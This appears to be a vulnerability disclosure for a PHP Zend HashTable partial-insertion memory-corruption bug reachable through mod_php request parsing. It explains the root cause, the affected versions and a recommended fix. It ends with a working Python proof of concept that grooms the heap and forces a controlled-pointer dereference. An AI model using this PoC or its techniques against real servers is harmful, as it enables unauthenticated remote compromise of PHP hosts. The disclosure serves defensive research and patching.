PHP Zend HashTable raw-key partial-insertion memory corruption (CAND-049)

Affected component: Zend/zendhash.c, raw-string insertion APIs

Summary

PHP can publish an uninitialized HashTable Bucket when a raw-string key allocation fatals. An unauthenticated modphp request can reach the bug before the target script runs; later cleanup consumes stale attacker-influenced zval and key pointers. The resulting critical engine corruption has been developed into disclosure, arbitrary-free/UAF primitives, and native code execution.

Details

Affected versions and introduction

The unsafe optimization was introduced by php-src commit:

text 6de54703f055231603816495c55e6e1924cb5e71 Improved zendhashstradd/update functions

The previous raw-string wrappers allocated the zendstring before entering the insertion helper. The optimized missing-key branch instead deferred that fallible allocation until after live-table metadata was modified.

- First affected release: PHP 7.3.0. - Source-confirmed affected minor lines: PHP 7.3, 7.4, 8.0, 8.1, 8.2, 8.3, 8.4, 8.5, and the audited PHP 8.6 development revision. - Total affected minor release lines: 9. - PHP 7.2 and earlier do not contain this exact raw-key ordering.

The version range was derived from source history. Natural network validation and exploit validation cover representative optimized packages and current development builds rather than every historic binary.

Vulnerability root versus triggering fatal

The vulnerability is the nontransactional ownership transition, not memorylimit or OOM. Any non-local exit after the two counters advance and before the Bucket is initialized can leave the false live entry. A memory- limit fatal is the demonstrated network-reachable interruption because it occurs synchronously during the owned-key allocation.

Three conditions are distinct:

1. A producer inserts a missing nonnumeric raw string key. 2. A fatal/bailout interrupts the key allocation after publication. 3. A surviving owner is later traversed or destroyed.

An ordinary “Allowed memory size exhausted” response does not prove CAND-049. Allocations before publication, table growth, and cleanup of an abandoned temporary all fail safely. The fatal must occur in the owned-key allocation, and a later consumer must trust the advanced live-entry count.

The helper has no known user callback or regular VM-interrupt checkpoint in this narrow window. OOM is therefore the primary confirmed remote mechanism. A signal or timeout that only terminates the process is not equivalent to the malformed-table condition.

Technical root cause

The missing-key path in zendhashstraddorupdatei() checks capacity and then advances both live-entry counters before allocating the key:

c ZENDHASHIFFULLDORESIZE(ht);

addtohash: idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx;

p->key = key = zendstringinit( str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);

p->h = ZSTRH(key) = h; HTFLAGS(ht) &= ~HASHFLAGSTATICKEYS; ZVALCOPYVALUE(&p->val, pData); / link Bucket into hash index /

zendstringinit() can raise a memory-limit fatal and never return. At that point:

- nNumUsed and nNumOfElements claim the Bucket is live; - the Bucket's zval, hash, key pointer, and collision link are stale bytes; - PHP never initialized or owned the key; and - the Bucket is absent from the hash index.

This last condition creates an observable inconsistency: key lookup cannot find the entry, while linear consumers use nNumUsed and include it. The generic HashTable destructor does exactly that:

c Bucket p = ht->arData; Bucket end = p + ht->nNumUsed;

do { izvalptrdtor(&p->val); if (EXPECTED(p->key)) { zendstringreleaseex(p->key, false); } } while (++p != end);

Stale p->val controls which zval cleanup branch runs; stale p->key controls an independent string reference decrement/release. Reuse can make either field point to live data allocated after the failed insertion.

Affected APIs

Affected missing-nonnumeric-key paths include:

- zendhashstradd() and zendhashstraddnew(); - zendhashstrupdate() and zendhashstrupdateind(); - zendhashstrlookup(); and - raw-string wrappers that reach the same internal missing-key branch.

zendsymtablestr() is affected when the supplied key is nonnumeric. Numeric-index insertion and insertion using an already allocated zendstring do not contain this exact post-counter allocation. Existing- key replacement also bypasses the missing-key publication window.

Generic request-variable entry point

Bracketed variables cause phpregistervariableex() to create missing intermediate arrays. The missing root is passed as a raw pointer/length:

c gpcelementp = zendsymtablestrfind(symtable1, index, indexlen); if (!gpcelementp) { zval tmp; arrayinit(&tmp); gpcelementp = zendsymtablestrupdateind( symtable1, index, indexlen, &tmp); }

The resulting path is:

text form parser -> phpregistervariableex() -> zendsymtablestrupdateind() -> zendhashstrupdateind() -> zendhashstraddorupdatei()

The following distinction is load-bearing:

text name=value normally uses a prebuilt key name[child]=value missing nonnumeric root reaches CAND-049 123[child]=value numeric-index path, not this allocation window

One nested variable still counts as one input against maxinputvars; no over-limit nesting is required.

At the stock 128 MiB limit, CAND-072's empty-upload metadata expansion or CAND-056's lengthless multipart stream supplies the required pressure before a final missing nested root. Both producers reach this helper before a fixed target file executes; neither changes the CAND-049 ownership root.

SAPI and lifetime boundaries

Apache modphp wraps request startup in a bailout handler and subsequently runs its request destructor:

c zendfirsttry { if (phpapacherequestctor(r, ctx) != SUCCESS) { zendbailout(); } } zendendtry();

if (!parentreq) { phpapacherequestdtor(r); }

This supplies all three requirements: native request parsing produces the malformed entry, the request-global table survives the fatal, and shutdown linearly destroys it. The persistent child can also retain allocator state across requests. The confirmed generic production boundary is NTS prefork; threaded module configurations share the root but require independent lifetime analysis.

FPM's automatic startup-failure branch normally finishes the FastCGI request and terminates that worker. It therefore confirms the source fault but does not run the same stale-Bucket consumer or reuse the allocator. FPM becomes materially exposed when application code invokes an affected parser after normal startup and stores the incomplete table in a global, object, resource, or temporary PHP-global slot that shutdown later consumes.

PHP 8.4+'s requestparsebody() is a strong example: it temporarily replaces global POST/FILES zvals and restores them only after parsing returns. A fatal skips restoration while normal FPM request shutdown remains active. Frameworks that call it for non-POST methods can reach the producer, but route exposure, remaining memory, owner, and final consumer are application-specific. The source defect must not be described as generic FPM RCE without those links.

Recommended fix

Restore transactional ordering by allocating the key before publishing the new Bucket:

diff addtohash: + key = zendstringinit( + str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; - p->key = key = zendstringinit( - str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); + p->key = key;

Alternatively, all non-local failure paths must roll back both counters and leave a zeroed, unreachable, destructor-safe slot. Fixing callers or adding request-specific checks leaves the shared API vulnerable to another owner.

Regression tests should inject failure at every allocation in missing-key insertion and then perform lookup, iteration, destruction, copy, merge, and request shutdown. Tests should cover each exported raw-key wrapper and both packed-to-mixed and already-mixed tables.

PoC

The smallest network PoC uses Ubuntu 26.04 arm64's packaged PHP 8.5.4 NTS modphp with memorylimit=32M, postmaxsize=8M, and displayerrors=Off. Only the memory limit is reduced to keep the request short; the stock-limit paths are described above. Serve:

php <?php echo "hi\n";

Run this Python client:

python import socket, struct from urllib.parse import quotefrombytes

host, port, target = "127.0.0.1", 80, "/index.php"

def request(method, path, body=b"", contenttype=None): h = [f"{method} {path} HTTP/1.1", f"Host: {host}", "Connection: close", f"Content-Length: {len(body)}"] if contenttype: h.append(f"Content-Type: {contenttype}") wire = ("\r\n".join(h) + "\r\n\r\n").encode() + body try: with socket.createconnection((host, port), 10) as s: s.settimeout(60); s.sendall(wire); out = b"" while data := s.recv(65536): out += data return out except OSError: return b""

warm = b"&".join(b"w%d=" % i + b"W" 264 for i in range(8)) request("POST", target, warm, "application/x-www-form-urlencoded") request("POST", target, warm, "application/x-www-form-urlencoded")

fake = struct.pack("<QIIQQ", 0x1122334455667788, 4, 0, 0x1337, 0x4141414141414141) donor = b"CONTROLLEDBUCKET".ljust(232, b"D") + fake query = [] for i in range(9): value = donor if i == 2 else (b"Q%d" % i).ljust(264, b"A") query.append("q%d=%s" % (i, quotefrombytes(value, safe=""))) query += ["q%d=U" % i for i in (6, 0, 1, 2, 3, 4)]

prefix = [b"p%d=" % i + b"V" 264 for i in range(6)] body = b"&".join(prefix + [b"R" 7700000 + b"[x]=v"]) response = request("POST", target + "?" + "&".join(query), body, "application/x-www-form-urlencoded") print(response.partition(b"\r\n")[0] or b"EOF")

The final key allocation emits the 32 MiB OOM, but modphp then destroys the partially published Bucket and dereferences 0x4141414141414141; the affected Apache child exits with SIGSEGV. A version changing the last qword to zero is the noncrashing donor control. The target's hi is never printed.

Impact

Unauthenticated engine memory corruption before application execution, with validated disclosure, arbitrary-free/UAF primitives, and native code execution under modphp.